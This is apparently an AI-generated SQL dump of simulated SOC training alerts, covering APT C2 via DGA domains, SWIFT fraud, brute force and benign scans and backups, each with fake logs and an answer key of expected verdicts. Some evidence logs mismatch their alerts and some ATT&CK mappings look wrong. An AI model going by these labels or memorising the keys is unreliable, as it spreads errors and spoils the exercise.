(1779, 'Fancy Bear Fast-Flux DNS and DGA Domain Activity Detected', 'high', 'Anomali', 'Fancy Bear is using fast-flux DNS and DGA-generated domains to obscure command and control communications targeting financial institutions.', 'C2 Communication', 'T1568.003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T00:50:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.75\",\"dst_ip\":\"203.0.113.250\",\"hostname\":\"FIN-NET-05\",\"domain\":\"xyzt1234.com\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.250\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in fast-flux DNS activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xyzt1234.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"DGA domain used for C2 by Fancy Bear\"}}],\"expected_actions\":[\"block_domain\",\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The domain and IP are consistent with fast-flux and DGA activities linked to Fancy Bear.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1780, 'Unauthorized Login Attempts from Suspicious IP', 'medium', 'Anomali', 'Multiple failed login attempts detected on a financial system from a foreign IP address. This activity is consistent with brute force attempts.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T04:10:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.3.20\",\"username\":\"mjones\",\"hostname\":\"FIN-AUTH-01\",\"failed_attempts\":8}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP observed in multiple non-malicious login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjones\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username commonly targeted in brute force simulations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts were traced back to an internal security exercise, confirming benign activity.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:57:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:56:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:55:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:54:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1781, 'Fancy Bear Exploiting SWIFT Network for Transaction Manipulation', 'critical', 'Recorded Future', 'Fancy Bear is suspected of manipulating financial transactions through SWIFT network vulnerabilities, leading to unauthorized money transfers.', 'Fraud', 'T1503', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.30\",\"dst_ip\":\"203.0.113.55\",\"username\":\"financeadmin\",\"hostname\":\"SWIFT-TRANS-01\",\"request_body\":\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in known SWIFT network attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious transaction pattern matching known fraud cases\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"fraud\",\"analysis_notes\":\"The network traffic indicates unauthorized transaction attempts via SWIFT, matching Fancy Bear\'s TTPs.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1782, 'Routine IT Vulnerability Scan Detected as Brute Force Attack', 'low', 'Splunk', 'A security alert was triggered by repeated login failures from an internal IP address. This activity was identified as a routine vulnerability scan by the IT department.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"server01\",\"failed_attempts\":25}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for legitimate vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly used administrative account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is part of the internal network and the activity aligns with scheduled security scans.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:04:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:03:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:02:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:01:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1783, 'Authorized Administrative Backup Misidentified as Data Exfiltration', 'low', 'Azure Sentinel', 'Data transfer activity from a sensitive database server to a backup server was flagged. This was verified as an authorized backup operation.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.6\",\"username\":\"backup_admin\",\"hostname\":\"backup01\",\"data_volume\":\"500GB\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal database server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was a scheduled backup task performed by the IT department.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1784, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'A series of network connections from an internal IP address was detected, resembling a vulnerability scan. This activity is part of routine IT security checks.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.1\",\"username\":\"admin\",\"hostname\":\"scanner01\",\"command_line\":\"nmap -sS 192.168.1.1\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate vulnerability scan command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Routine vulnerability scans are conducted by IT to ensure network security compliance.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1785, 'Authorized Administrative Backup Activity Detected', 'low', 'Azure Sentinel', 'An administrative account performed a series of backup operations on critical servers. This is a scheduled, authorized activity.', 'Data Exfil', 'T1027', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"backup --incremental --servers 10.0.0.10\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP performing authorized backup\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"backup --incremental --servers 10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate backup command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected activity matches the pattern of scheduled backup operations by authorized personnel.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 